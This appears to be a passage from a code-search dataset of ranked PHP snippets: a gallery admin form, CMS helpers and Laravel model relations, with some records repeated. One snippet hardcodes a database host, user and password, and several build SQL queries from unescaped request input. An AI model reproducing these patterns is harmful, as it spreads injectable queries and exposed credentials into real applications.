$DB->fetch_array($getusergroups,null,MYSQL_ASSOC))\n {\n echo '\n <option value=\"'.$ug['usergroupid'].'\" '.\n (in_array($ug['usergroupid'],$groups)?' selected=\"selected\"':'').'>'.\n htmlspecialchars($ug['name']).'</option>';\n }\n\n echo '</select>\n \t\t<span class=\"helper-text\"> ' . AdminPhrase('viewing_permissions_hint') . '</span>\n </div>\n</div>\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">' . AdminPhrase('sort_images_by') . '</label>\n<div class=\"col-sm-6\">\n <select name=\"sorting\" class=\"form-control\"\n <option value=\"newest_first\" '.($section['sorting'] == \"newest_first\" ? 'selected=\"selected\"':'') .'>' . AdminPhrase('newest_first') . '</option>\n <option value=\"oldest_first\" '.($section['sorting'] == \"oldest_first\" ? 'selected=\"selected\"':'') .'>' . AdminPhrase('oldest_first') . '</option>\n <option value=\"alpha_az\" '.($section['sorting'] == \"alpha_az\" ? 'selected=\"selected\"':'') .'>' . AdminPhrase('alpha_az') . '</option>\n <option value=\"alpha_za\" '.($section['sorting'] == \"alpha_za\" ? 'selected=\"selected\"':'') .'>' . AdminPhrase('alpha_za') . '</option>\n <option value=\"author_name_az\" '.($section['sorting'] == \"author_name_az\" ? 'selected=\"selected\"':'') .'>' . AdminPhrase('author_name_az') . '</option>\n <option value=\"author_name_za\" '.($section['sorting'] == \"author_name_za\" ? 'selected=\"selected\"':'') .'>' . AdminPhrase('author_name_za') . '</option>\n </select>\n </div>\n</div>\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">' . AdminPhrase('image_display_mode') . '</label>\n<div class=\"col-sm-6\">';\n\n $setting = $DB->query_first(\"SELECT input FROM {pluginsettings} WHERE pluginid = %d AND title = 'image_display_mode'\",$GalleryBase->pluginid);\n $section['display_mode'] = empty($section['display_mode'])?0:(int)$section['display_mode'];\n echo sd_ParseToSelect($setting['input'], $section['display_mode'], AdminPhrase('image_display_mode'),\n 'display_mode', $GalleryBase->language, 'width: 260px; padding: 2px;');\n unset($setting);\n\n echo '\n </div>\n</div>';\n\n echo '\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">' . AdminPhrase('subsections_list_template') . '</label>\n<div class=\"col-sm-6\">\n <select name=\"subsection_template_id\" class=\"form-control\">';\n\n // Display all templates for plugin starting with \"subsections\"\n if($t = SD_Smarty::GetTemplateNamesForPlugin($GalleryBase->pluginid, false))\n foreach($t as $idx => $row)\n {\n if(sd_substr($row['tpl_name'],0,11)=='subsections')\n echo '<option value=\"'.$row['template_id'].'\" '.\n ($row['template_id']==$section['subsection_template_id']?' selected=\"selected\"':'').'>'.$row['displayname'].'</option>';\n }\n echo '\n </select>\n <span class=\"helper-text\">' . AdminPhrase('subsections_list_template_descr') . '</span>\n </div>\n</div>\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">' . AdminPhrase('sort_subsections_by') . '</label>\n<div class=\"col-sm-6\">\n <select name=\"section_sorting\" class=\"form-control\">\n <option value=\"newest_first\" '.($section['section_sorting'] == \"newest_first\" ? 'selected=\"selected\"':'') .'>' . AdminPhrase('newest_first') . '</option>\n <option value=\"oldest_first\" '.($section['section_sorting'] == \"oldest_first\" ? 'selected=\"selected\"':'') .'>' . AdminPhrase('oldest_first') . '</option>\n <option value=\"alpha_az\" '.($section['section_sorting'] == \"alpha_az\" ? 'selected=\"selected\"':'') .'>' . AdminPhrase('alpha_az') . '</option>\n <option value=\"alpha_za\" '.($section['section_sorting'] == \"alpha_za\" ? 'selected=\"selected\"':'') .'>' . AdminPhrase('alpha_za') . '</option>\n </select>\n </div>\n</div>\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">' . AdminPhrase('display_max_subsections') . '</label>\n <div class=\"col-sm-6\">\n <input type=\"text\" class=\"form-control\" name=\"max_subsections\" maxlength=\"3\" value=\"'.\n (empty($section['max_subsections'])?0:(int)$section['max_subsections']).\n '\" />\n </div>\n</div>';\n\n echo '\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">' . AdminPhrase('allow_submit_file_upload') . '</label>\n<div class=\"col-sm-6\">\n <input type=\"checkbox\" class=\"ace\" name=\"allow_submit_file_upload\" value=\"1\" '.\n (empty($section['allow_submit_file_upload'])?'':' checked=\"checked\"').' /><span class=\"lbl\"></span>\n ' . AdminPhrase('allow_submit_file_upload_descr') . '\n </div>\n</div>\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">' . AdminPhrase('allow_submit_media_link') . '</label>\n<div class=\"col-sm-6\">\n <input type=\"checkbox\" class=\"ace\" name=\"allow_submit_media_link\" value=\"1\" '.\n (empty($section['allow_submit_media_link'])?'':' checked=\"checked\"').' /><span class=\"lbl\"></span>\n ' . AdminPhrase('allow_submit_media_link_descr') . '\n </div>\n</div>\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">' . AdminPhrase('number_of_images_per_row') . '</label>\n<div class=\"col-sm-6\">\n <input type=\"text\" class=\"form-control\" name=\"images_per_row\" maxlength=\"3\" value=\"'.\n (empty($section['images_per_row'])?0:(int)$section['images_per_row']).\n '\" />\n\t <span class=\"helper-text\">' . AdminPhrase('number_of_images_per_row_hint') . '</span>\n </div>\n</div>\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">' . AdminPhrase('section_images_per_page') . '</label>\n<div class=\"col-sm-6\">\n <input type=\"text\" class=\"form-control\" name=\"images_per_page\" maxlength=\"3\" value=\"'.\n (empty($section['images_per_page'])?0:(int)$section['images_per_page']).\n '\" />\n\t <span class=\"helper-text\">\n ' . AdminPhrase('section_images_per_page_hint') . '</span>\n </div>\n</div>';\n\n if($sectionid != 1)\n {\n echo '\n <div class=\"form-group\">\n <label class=\"control-label col-sm-3\">'.AdminPhrase('section_link_to').'<br />\n '.AdminPhrase('section_link_to_hint').'\n </label>\n<div class=\"col-sm-6\">\n <input type=\"text\" class=\"form-control\" name=\"link_to\" value=\"'.\n (isset($section['link_to'])?htmlentities($section['link_to'], ENT_QUOTES):'').\n '\" size=\"30\" />\n </div>\n</div>\n <div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\">'.AdminPhrase('section_external_link_target').'</label>\n<div class=\"col-sm-6\">\n <select name=\"target\" class=\"form-control\">\n <option value=\"\" ' . (empty($section['target']) ? 'selected=\"selected\"' : '') . '>-</option>\n <option value=\"_blank\" ' . ($section['target'] == '_blank' ? 'selected=\"selected\"' : '') . '>_blank</option>\n <option value=\"_self\" ' . ($section['target'] == '_self' ? 'selected=\"selected\"' : '') . '>_self</option>\n <option value=\"_parent\" ' .($section['target'] == '_parent' ? 'selected=\"selected\"' : '') . '>_parent</option>\n <option value=\"_top\" ' . ($section['target'] == '_top' ? 'selected=\"selected\"' : '') . '>_top</option>\n </select>\n </div>\n</div>';\n }\n\n echo '\n <div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\">' . AdminPhrase('section_meta_description') . '</label>\n<div class=\"col-sm-6\"><textarea name=\"metadescription\" class=\"form-control\" rows=\"3\" cols=\"40\">'.\n $section['metadescription'] . '</textarea></div>\n</div>\n <div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\">' . AdminPhrase('section_meta_keywords') . '</label>\n<div class=\"col-sm-6\"><textarea name=\"metakeywords\" class=\"form-control\" rows=\"3\" cols=\"40\">'.\n $section['metakeywords'] . '</textarea></div>\n</div>\n <div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\">' . AdminPhrase('options') . '</label>\n <div class=\"col-sm-6\">\n <fieldset>';\n\n $options = array( array('activated', $GalleryBase->language['display_section_online']),\n array('display_author', $GalleryBase->language['section_display_author']),\n array('display_comments', $GalleryBase->language['section_display_comments']),\n array('display_ratings', $GalleryBase->language['section_display_ratings']),\n array('display_view_counts', $GalleryBase->language['section_display_view_counts']),\n array('display_social_media', AdminPhrase('show_social_media')) );\n foreach($options as $key)\n {\n echo '<label for=\"'.$key[0].'\"><input type=\"checkbox\" class=\"ace\" id=\"'.$key[0].'\" name=\"'.$key[0].'\" value=\"1\" ' .\n (!empty($section[$key[0]]) ? 'checked=\"checked\"' : '').' /><span class=\"lbl\"></span> ' . $key[1] . \"</label>\\n\";\n }\n\n echo '\n </fieldset></div>\n</div>';\n\n $datestart = DisplayDate($section['publish_start'], '', false, true);\n $dateend = DisplayDate($section['publish_end'], '', false, true);\n echo '\n <div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\">' . $GalleryBase->language['start_publishing'] . '</label>\n<div class=\"col-sm-6\">\n <input type=\"hidden\" id=\"datestart\" name=\"datestart\" value=\"' . DisplayDate($section['publish_start'], 'yyyy-mm-dd') . '\" />\n <input type=\"text\" id=\"datestart2\" name=\"datestart2\" rel=\"'.($datestart?$datestart:'0').'\" value=\"\" size=\"10\" />\n <input type=\"text\" id=\"timestart\" name=\"timestart\" value=\"'.DisplayDate($datestart,'H:i',false).'\" size=\"6\" />\n </div>\n</div>\n <div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\">' . $GalleryBase->language['end_publishing'] . '</label>\n<div class=\"col-sm-6\">\n <input type=\"hidden\" id=\"dateend\" name=\"dateend\" value=\"' . DisplayDate($section['publish_end'], 'yyyy-mm-dd') . '\" />\n <input type=\"text\" id=\"dateend2\" name=\"dateend2\" rel=\"'.($dateend?$dateend:'0').'\" value=\"\" size=\"10\" />\n <input type=\"text\" id=\"timeend\" name=\"timeend\" value=\"'.DisplayDate($dateend,'H:i',false).'\" size=\"6\" />\n </div>\n</div>\n <div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\">' . AdminPhrase('section_upload_folder') . '</label>\n <div class=\"col-sm-6\">\n <select name=\"folder\" class=\"form-control\">\n <option value=\"\"'.(empty($section['folder']) ? ' selected=\"selected\"' : '').'>'.AdminPhrase('default_folder').'</option>\n ';\n\n echo SD_Image_Helper::GetSubFoldersForSelect(ROOT_PATH.$GalleryBase->IMAGEDIR, $section['folder']);\n\n echo '\n </select>\n\t <span class=\"helper-text\">\n ' . AdminPhrase('section_upload_folder_hint') . '</span>\n </div>\n</div>\n ';\n\n // Only show section image and move operation if there are actually\n // images within this section already\n if(!$sectionid)\n {\n echo '\n <input type=\"hidden\" name=\"imageid\" value=\"0\" />\n <input type=\"hidden\" name=\"movetoid\" value=\"0\" />';\n }\n if($imgcount = $DB->query_first('SELECT COUNT(*) FROM '.$GalleryBase->images_tbl.\n ' WHERE sectionid = %d', $sectionid))\n {\n $imgcount = $imgcount[0];\n }\n if(!empty($imgcount) && ($imgcount > 0) && ($sectionid > 0))\n {\n if($sectionid > 1)\n {\n $img_div = '<div style=\"white-space: nowrap; display: inline; float: left; margin: 6px; padding: 2px; height: 90px; min-width: 90px;\">';\n // Display the images in the section so that the user can choose one to represent the section\n echo '\n <h3 class=\"header blue lighter\">' . AdminPhrase('section_image') . '</h3>\n <br />' . AdminPhrase('section_thumbnail_hint') . '</td>\n <div style=\"min-height: 120px; max-height: 300px; overflow: hidden; overflow-y: scroll;\">'.$img_div.'<input type=\"radio\" name=\"imageid\" value=\"0\" '.\n (empty($section['imageid'])?'checked=\"checked\"':'') . ' />\n <img src=\"'.$GalleryBase->IMAGEPATH.$GalleryBase->defaultimg.'\" align=\"middle\" alt=\" \" style=\"max-width: 100px; max-height: 90px; padding: 2px;\" /></div>';\n\n $getimages = $DB->query(\"SELECT imageid, IFNULL(filename,'') filename, title, IFNULL(folder,'') folder, px_width, px_height\".\n ' FROM '.$GalleryBase->images_tbl.\n ' WHERE sectionid = %d'.\n \" AND (IFNULL(filename,'') > '')\". //SD362: media thumbs allowed!\n ' ORDER BY imageid', $sectionid);\n while($image = $DB->fetch_array($getimages,null,MYSQL_ASSOC))\n {\n $folder = $GalleryBase->IMAGEPATH . $image['folder'];\n $folder .= (strlen($folder) && (sd_substr($folder,strlen($folder)-1,1)!='/') ? '/' : '');\n echo $img_div.'\n <input type=\"radio\" name=\"imageid\" value=\"'.$image['imageid'].'\" '.\n ($image['imageid']==$section['imageid'] ? 'checked=\"checked\"' : '').' />'.\n '<a class=\"ceebox tip\" href=\"'.$folder.$image['filename'] .'\" rel=\"image\" '.\n 'title=\"'.$GalleryBase->language['image_title'].' <strong>'.' '.\n (empty($image['title'])?$GalleryBase->language['untitled']:$image['title']).'</strong><br />'.\n AdminPhrase('image_size').' '.$image['px_width'].' * '.$image['px_height'] . ' px\">'.\n '<img src=\"'.$folder.$GalleryBase->TB_PREFIX. $image['filename'].\n '\" align=\"middle\" alt=\"\" style=\"'.($image['imageid']==$section['imageid'] ? 'border: 1px solid #ff0000; ' : '').\n 'max-width: 90px; max-height: 80px; padding: 2px;\" /></a></div>';\n }\n\n echo '\n </div>';\n }\n\n echo '\n <h3 class=\"header blue lighter\">' . AdminPhrase('section_batch_operations') . ' <small>' . AdminPhrase('reassign_images_hint') . '</small></h3>\n <div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\">' . AdminPhrase('reassign_images') . '</label>\n\t<div class=\"col-sm-6\">\n <select name=\"movetoid\" class=\"form-control\" size=\"8\">\n <option value=\"0\" selected=\"selected\">' . AdminPhrase('no_action') . '</option>\n ';\n $this->PrintSectionChildren(0, -1, $sectionid);\n echo '\n </select>\n\t <span class=\"helper-text\"> </span>\n </div>\n </div>\n <div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\">'.AdminPhrase('section_batch_set_displayauthor').'</label>\n\t<div class=\"col-sm-6\">\n <select name=\"set_displayauthor\" class=\"form-control\">\n <option value=\"0\" selected=\"selected\">' . AdminPhrase('no_action') . '</option>\n <option value=\"Y\">' . $sdlanguage['yes'] . '</option>\n <option value=\"N\">' . $sdlanguage['no'] . '</option>\n </select>\n\t </div>\n\t</div>\n\t<div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\"> '.AdminPhrase('section_batch_set_allowcomments').'</label>\n\t<div class=\"col-sm-6\">\n <select name=\"set_allowcomments\" class=\"form-control\">\n <option value=\"0\" selected=\"selected\">' . AdminPhrase('no_action') . '</option>\n <option value=\"Y\">' . $sdlanguage['yes'] . '</option>\n <option value=\"N\">' . $sdlanguage['no'] . '</option>\n </select>\n\t</div>\n</div>\n<div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\">'.AdminPhrase('section_batch_set_ratings').'</label>\n\t<div class=\"col-sm-6\">\n <select name=\"set_ratings\" class=\"form-control\">\n <option value=\"0\" selected=\"selected\">' . AdminPhrase('no_action') . '</option>\n <option value=\"Y\">' . $sdlanguage['yes'] . '</option>\n <option value=\"N\">' . $sdlanguage['no'] . '</option>\n </select>\n\t</div>\n</div>\n<div class=\"form-group\">\n \t<label class=\"control-label col-sm-3\">'.AdminPhrase('options').'</label>\n\t<div class=\"col-sm-6\">\n <fieldset>\n\t \n ';\n\n $options = array( //array('add_tags', AdminPhrase('section_batch_add_tags').' ... [input here]'),\n array('remove_comments', AdminPhrase('section_batch_remove_comments')),\n array('remove_ratings', AdminPhrase('section_batch_remove_ratings')),\n array('remove_tags', AdminPhrase('section_batch_remove_tags')),\n );\n foreach($options as $key)\n {\n echo '<label for=\"'.$key[0].'\"><input type=\"checkbox\" class=\"ace\" id=\"'.$key[0].'\" name=\"'.$key[0].'\" value=\"1\" '.\n (!empty($section[$key[0]]) ? 'checked=\"checked\"' : '').' /><span class=\"lbl\"></span> ' . $key[1].'<br /></label>';\n }\n\n echo '</fieldset>\n </div>\n </div>\n ';\n }\n\n if(($sectionid > 1) || $imgcount)\n {\n echo '\n <div class=\"form-group\">\n \t<label class=\"control-label col-sm-3 red\">'.AdminPhrase('delete').'</label>\n\t<div class=\"col-sm-6\">\n <fieldset>';\n if($sectionid > 1)\n {\n echo '\n <label for=\"deletesection\"><input type=\"checkbox\" class=\"ace\" id=\"deletesection\" name=\"deletesection\" value=\"1\" /><span class=\"lbl red bolder\">\n <strong>'.AdminPhrase('delete_section').'</strong></span></label>';\n }\n if($sectionid && $imgcount)\n {\n echo '\n <label for=\"deletesectionimages\"><input type=\"checkbox\" class=\"ace\" id=\"deletesectionimages\" name=\"deletesectionimages\" value=\"1\" /><span class=\"lbl red bolder\">\n <strong>' . AdminPhrase('delete_images_in_section').'</strong></span></label>\n '.AdminPhrase('delete_images_in_section_hint');\n }\n echo '\n </fieldset>\n </div>\n</div>\n';\n }\n echo '\n <div class=\"center\">\n \t<button class=\"btn btn-info\" type=\"submit\" value=\"\"/><i class=\"ace-icon fa fa-check\"></i>'.addslashes(($sectionid ? AdminPhrase('update_section') : AdminPhrase('create_section'))).'</button>\n\t</div>';\n\n echo '\n </form>';\n\n}", "title": "" }, { "docid": "5ff30d9c4291eeee4be1ff2bda45e9ff", "score": "0.4875466", "text": "public function edit(Section $section)\n {\n //\n }", "title": "" }, { "docid": "5ff30d9c4291eeee4be1ff2bda45e9ff", "score": "0.4875466", "text": "public function edit(Section $section)\n {\n //\n }", "title": "" }, { "docid": "5ff30d9c4291eeee4be1ff2bda45e9ff", "score": "0.4875466", "text": "public function edit(Section $section)\n {\n //\n }", "title": "" }, { "docid": "5ff30d9c4291eeee4be1ff2bda45e9ff", "score": "0.4875466", "text": "public function edit(Section $section)\n {\n //\n }", "title": "" }, { "docid": "5ff30d9c4291eeee4be1ff2bda45e9ff", "score": "0.4875466", "text": "public function edit(Section $section)\n {\n //\n }", "title": "" }, { "docid": "6bac24b402bb9ba7dc95686bb3eec709", "score": "0.4871775", "text": "function set_post_number( $user_id ) {\n \n // Get number of published posts\n $posts_published = get_user_option('published_posts', $user_id);\n \n if ( $posts_published ) {\n \n $posts_array = unserialize($posts_published);\n \n if ( $posts_array['date'] === date('Y-m') ) {\n \n $posts = $posts_array['posts'];\n \n $posts++;\n \n // Set new record\n $record = serialize(\n array(\n 'date' => date('Y-m'),\n 'posts' => $posts\n )\n );\n \n } else {\n \n // Set new record\n $record = serialize(\n array(\n 'date' => date('Y-m'),\n 'posts' => 1\n )\n ); \n \n }\n \n } else {\n \n // Save first post number\n $record = serialize(\n array(\n 'date' => date('Y-m'),\n 'posts' => 1\n )\n );\n \n }\n \n update_user_option($user_id, 'published_posts', $record);\n \n }", "title": "" }, { "docid": "79968dbb37bfd173770f2ce015044f84", "score": "0.48607108", "text": "public function do_section_notes() {\n\t\techo esc_html__( 'Notes on other specific page types.', 'add-meta-tags' );\n\t}", "title": "" }, { "docid": "79968dbb37bfd173770f2ce015044f84", "score": "0.48607108", "text": "public function do_section_notes() {\n\t\techo esc_html__( 'Notes on other specific page types.', 'add-meta-tags' );\n\t}", "title": "" }, { "docid": "aa3c396ee88779fc27b2f2e1e8116d55", "score": "0.48559383", "text": "function choixmodifarticle(){\r\n\t\techo \"<div id='modifarticle'>\";\r\n\t\t$server=\"pams.script.univ-paris-diderot.fr\";\r\n\t\t$user=\"phiear22\";\r\n\t\t$base=\"phiear22\";\r\n\t\t$connexion=@mysql_connect($server,$user,'r1M)qu0K');\r\n\t\tmysql_select_db($base,$connexion);\r\n\t\tif($_SESSION[\"rank\"]==0){\r\n\t\t\t$req='SELECT * FROM article WHERE user=\"'.@mysql_real_escape_string($_SESSION[\"user\"]).'\"';\r\n\t\t}else{\r\n\t\t\t$req='SELECT * FROM article';\r\n\t\t}\r\n\t\t$result=mysql_query($req,$connexion);\r\n\t\t$ligne=mysql_fetch_assoc($result);\r\n\t\tif($ligne){\r\n?>\r\n\t\t\t<form method=\"post\" action=\"index.php?page=modifarticle\">\r\n\t\t\t\t<select name=\"article_id_modif\">\r\n<?php\r\n\t\t\t\t\twhile($ligne){\r\n\t\t\t\t\t\techo '<option value='.htmlentities($ligne[\"article_id\"]).'>Titre :'.htmlentities($ligne[\"title\"]).' Auteur:'.htmlentities($ligne[\"user\"]).'</option><br>';\r\n\t\t\t\t\t\t$ligne=mysql_fetch_assoc($result);\r\n\t\t\t\t\t}\r\n?>\r\n\t\t\t\t</select>\r\n<?php mysql_close(); ?>\r\n\t\t\t\t<input type=\"submit\" value=\"Modifier cet article\">\r\n\t\t\t</form>\r\n<?php\r\n\t\t}else{\r\n\t\t\techo \"Il n'y a pas d'article à modifier\";\r\n\t\t}\r\n\t\techo \"</div>\";\r\n\t}", "title": "" }, { "docid": "deb19c2afb138189478a48e4e217b00a", "score": "0.48494658", "text": "public function actionReordersection(){\n\t\t$topicTree = [];\n\t\t$sectionList = $this->getSectionList();\n\t\t$sectionId = Yii::$app->request->get(\"sectionId\",0);\n\t\t\n\t\tif (Yii::$app->request->isPost){\n\t\t\t$sectionId = Yii::$app->request->post(\"sectionId\",0);\n\t\t\t$topicList = $this->getTopicOrderList($sectionId);\n\t\t\t$topicTree = $this->getTopicTree($topicList);\n\t\t}\n\t\treturn $this->render(\n\t\t\t\t\"reorderSection\",\n\t\t\t\t[\n\t\t\t\t\t'topicTree'=>$topicTree,\n\t\t\t\t\t'sectionList'=>$sectionList,\n\t\t\t\t\t'sectionId'=>$sectionId,\n\t\t\t\t]);\n\t}", "title": "" }, { "docid": "5a7b8b2e1ede3cc10f56129598c9d74c", "score": "0.48451936", "text": "function Parse_Add_SubSection($designno){\n\tglobal $link,$PARAMS;\n\tCanISeeThis($designno);\n\t//debug_string(\"Parse_Add_SubSection($designno)\");\n\t// just a few facts about this SubSection\n\t$title = $PARAMS['title'];\n\t$sectioncode = $PARAMS['section'];\n\t//debug_string(\"sectioncode\",$sectioncode);\n\t$sectionno = substr($sectioncode,1,strlen($sectioncode)-1);\n\t//debug_string(\"section\",$section);\n\n\t// get the maximum existing seq number for subsections in this section\n\t$sql=\" select Seq from des_sections where DesignNo='$designno' and SubSection=$sectionno order by Seq desc limit 1\";\n\t//debug_string(\"sql\",$sql);\n\t$result = mysql_query($sql,$link) or die(mysql_error());\n\t$rec = mysql_fetch_row($result);\n\t//debug_array(\"rec\",$rec);\n\t//debug_string(\"rec[0]\",$rec[0]);\n\t$newseq = $rec[0]+10;// new one is always 10 higher than the highest\n\t//debug_string(\"newseq\",$newseq);\n\n\t$sqlinsert=\"insert into des_sections (DesignNo,SectionTitle,SubSection,Seq,SectionTS) values ('$designno','$title','$sectionno','$newseq',NULL)\";\n\t//debug_string(\"sqlinsert\",$sqlinsert);\n\t$result = mysql_query($sqlinsert,$link) or die(mysql_error());\n}", "title": "" }, { "docid": "3f8448cd6bdcd2a5e06f42efb0f84b90", "score": "0.4842346", "text": "function mogo_edit_section($section_id) {\n ?>\n <div class=\"edit-section\">\n <?php\n if (is_user_logged_in()) {\n $id = $section_id != '' ? $section_id : '';\n edit_post_link(sprintf(__(\"Edit %s\", 'mogo'), $id), '<span class=\"meta-edit\">', '</span>');\n }\n ?>\n </div> \n <?php\n }", "title": "" }, { "docid": "fc0412f47f077f186fb5954124a39bce", "score": "0.4836873", "text": "public function createSectionMI() {\n $sql=\"SELECT DISTINCT mr.col2 FROM mi_reestr mr ORDER by mr.col2\";\n $result = $this->get_data($sql);\n $Arr=array();\n $SubArr=array();\n while($row = $result->fetch_assoc()) {\n preg_match_all(\"/((([0-9]{1,4})(.*\\D))|(([0-9]{1,2}.[0-9]{1,4})(.*\\D)))/\", $row[col2], $output_array);\n $text=explode(\".\", $output_array[0][0]);\n preg_match(\"/([0-9]{1,2}).([0-9]{1,2}). (.*\\D)/\", $output_array[0][1], $output_array_include);\n $SubArr[]=array('Code'=>$output_array_include[1],'subCode'=>$output_array_include[2],'subName'=>$output_array_include[3]);\n $Arr[$text[0]] = trim($text[1]);\n }\n $sql=\"DELETE FROM mi_section\";\n $result = $this->get_data($sql);\n foreach ($Arr as $key=>$value) {\n $sql=\"INSERT INTO mi_section (id,SectionName) VALUES ($key,'$value')\";\n $result = $this->get_data($sql);\n }\n foreach ($SubArr as $CurSubArr) {\n if ($CurSubArr[subCode]) {\n $sql=\"INSERT INTO mi_section (id,SectionName,ParentId) VALUES ($CurSubArr[subCode],'$CurSubArr[subName]',$CurSubArr[Code])\";\n $result = $this->get_data($sql);\n }\n }\n }", "title": "" }, { "docid": "30173aca15ad65f2eb9a074e2d594531", "score": "0.48360196", "text": "public function print_section_info() {\n\n _e('All of the settings are here. Enter any changes below. ' .\n 'To disable an item, uncheck the checkbox next to it.');\n }", "title": "" }, { "docid": "4a9abcd6636caa99cff43fc07e870b65", "score": "0.48143145", "text": "public function set_section($id, $amount) {\n $this->db->saveInto(\"pay_queue\", [\n \":id\"=>0,\n \":idu\"=>$id,\n \":amount\"=>$amount,\n \":complete\"=>0,\n \":section\"=>$amount, \n \":pledged\" =>0,\n ], \"INSERT\")->execute();\n \n \n\t}", "title": "" }, { "docid": "e19f602b7e5b06c2d911e56ead6439fa", "score": "0.48089713", "text": "private function updateCommentCount($section, $section_id) {\r\n\r\n\t\t$id = $this->config['Comments']['DB'][$section]['Field_ID'];\r\n\t\t$field = $this->config['Comments']['DB'][$section]['Field_Count'];\r\n\t\t$table = $this->config['Comments']['DB'][$section]['Table'];\r\n\r\n\t\t$qry = sprintf('\r\n\t\t\tUPDATE\r\n\t\t\t\t%s\r\n\t\t\tSET\r\n\t\t\t\t%s = (%s + 1)\r\n\t\t\tWHERE\r\n\t\t\t\t%s = %s\r\n\t\t\tLIMIT\r\n\t\t\t\t1\r\n\t\t\t',\r\n\t\t\t$table,\r\n\t\t\t$field,\r\n\t\t\t$field,\r\n\t\t\t$id,\r\n\t\t\t$section_id\r\n\t\t);\r\n\r\n\t\t$this->query($qry);\r\n\r\n\t}", "title": "" } ]
291020da492d935336184c464a892b79
The owning model has a creator
[ { "docid": "8fb30ec94e50bbb3fb432a41a945e399", "score": "0.7301056", "text": "public function creator()\n {\n return $this->hasOne(config('fingerprints.model'), 'id', 'created_by');\n }", "title": "" } ]
[ { "docid": "3e70d1e9d5b33cce9d942376676db73f", "score": "0.7788219", "text": "public function creator(){\n return $this->hasOne('App\\User','id','creator_id');\n }", "title": "" }, { "docid": "471cb7792ba4dc3b39e8227661c45dc0", "score": "0.7722414", "text": "public function creator()\n {\n return $this->belongsTo(User::class, 'creator_id');\n }", "title": "" }, { "docid": "c5bb61baa9c70755fc39d14529226ce3", "score": "0.77098423", "text": "public function creator()\n {\n return $this->belongsTo('App\\Models\\User', 'creator_id');\n }", "title": "" }, { "docid": "0c3907fed42a4c58f6c6569c72307550", "score": "0.7683993", "text": "public function creator()\n {\n return $this->belongsTo('User', 'creator_id', 'id');\n }", "title": "" }, { "docid": "55a1f13ccaa3437b5d658436b68196c4", "score": "0.767911", "text": "public function creator()\n {\n return $this->belongsTo(User::class, 'creator_id', 'id');\n }", "title": "" }, { "docid": "91f1c00e00b5a669789723b5f8511985", "score": "0.7634748", "text": "public function getCreator()\n {\n return $this->hasOne(User::className(), ['id' => 'creator_id']);\n }", "title": "" }, { "docid": "beac299b575bc6f938986040a474c920", "score": "0.7617495", "text": "public function creator(): BelongsTo\n {\n return $this->belongsTo(User::class, 'creator_id');\n }", "title": "" }, { "docid": "b029cd398db40fb6d8f53ca43ecd4672", "score": "0.7599404", "text": "public function creator()\n\t{\n\t\treturn $this->belongsToOne('Hubzero\\User\\User', 'created_by');\n\t}", "title": "" }, { "docid": "b029cd398db40fb6d8f53ca43ecd4672", "score": "0.7599404", "text": "public function creator()\n\t{\n\t\treturn $this->belongsToOne('Hubzero\\User\\User', 'created_by');\n\t}", "title": "" }, { "docid": "b029cd398db40fb6d8f53ca43ecd4672", "score": "0.7599404", "text": "public function creator()\n\t{\n\t\treturn $this->belongsToOne('Hubzero\\User\\User', 'created_by');\n\t}", "title": "" }, { "docid": "3d9822ff2fa34abba64fe9c0ffeaec05", "score": "0.7530826", "text": "public function creator()\n {\n return $this->belongsTo(User::class, 'created_by');\n }", "title": "" }, { "docid": "3d9822ff2fa34abba64fe9c0ffeaec05", "score": "0.7530826", "text": "public function creator()\n {\n return $this->belongsTo(User::class, 'created_by');\n }", "title": "" }, { "docid": "3d9822ff2fa34abba64fe9c0ffeaec05", "score": "0.7530826", "text": "public function creator()\n {\n return $this->belongsTo(User::class, 'created_by');\n }", "title": "" }, { "docid": "0a881898630986e94a83cbf20e4da700", "score": "0.7513065", "text": "public function creator()\n {\n return $this->belongsTo('App\\User', 'created_by', 'id');\n }", "title": "" }, { "docid": "b0bbca6cd68f6b9ead37af2bac669d95", "score": "0.750549", "text": "public function creator()\n\t{\n\t\treturn $this->belongsToOne('Hubzero\\User\\User', 'user_id');\n\t}", "title": "" }, { "docid": "5f221f787edf1d96d0bff39a6087be1f", "score": "0.7498628", "text": "public function creator()\n {\n return $this->belongsTo('App\\User', 'created_by');\n }", "title": "" }, { "docid": "9ca8b04c5606baee5b8254ffcb949320", "score": "0.7483468", "text": "public function getCreator()\n {\n return $this->hasOne(User::className(), ['id' => 'created_by']);\n }", "title": "" }, { "docid": "10afc0d89ba32f1ff9247c3ccdf31beb", "score": "0.7466502", "text": "public function creator(): BelongsTo\n {\n return $this->belongsTo(User::class, 'created_by');\n }", "title": "" }, { "docid": "03a473287c4a36d0f6134c165874701a", "score": "0.74596745", "text": "public function creator()\n\t{\n\t\treturn $this->belongsTo(User::class);\n\t}", "title": "" }, { "docid": "34f7578bbf97a2b3b7469630617a8075", "score": "0.7434726", "text": "public function creator() {\n return $this->belongsTo('App\\User', 'user_id', 'id');\n }", "title": "" }, { "docid": "ff1d4a7e6da7bcc09e47bc3186e0fc62", "score": "0.74021083", "text": "public function creator()\n {\n return $this->belongsTo('Serbinario\\User','created_by');\n }", "title": "" }, { "docid": "47553d3d3b7050e67188b035d64a5396", "score": "0.7395997", "text": "public function creator()\n {\n return $this->belongsTo('App\\User','created_by');\n }", "title": "" }, { "docid": "47553d3d3b7050e67188b035d64a5396", "score": "0.7395997", "text": "public function creator()\n {\n return $this->belongsTo('App\\User','created_by');\n }", "title": "" }, { "docid": "79927a46bb78a48b55b9b4fbb57f554e", "score": "0.7379533", "text": "public function creator()\n {\n return $this->belongsTo(User::class);\n }", "title": "" }, { "docid": 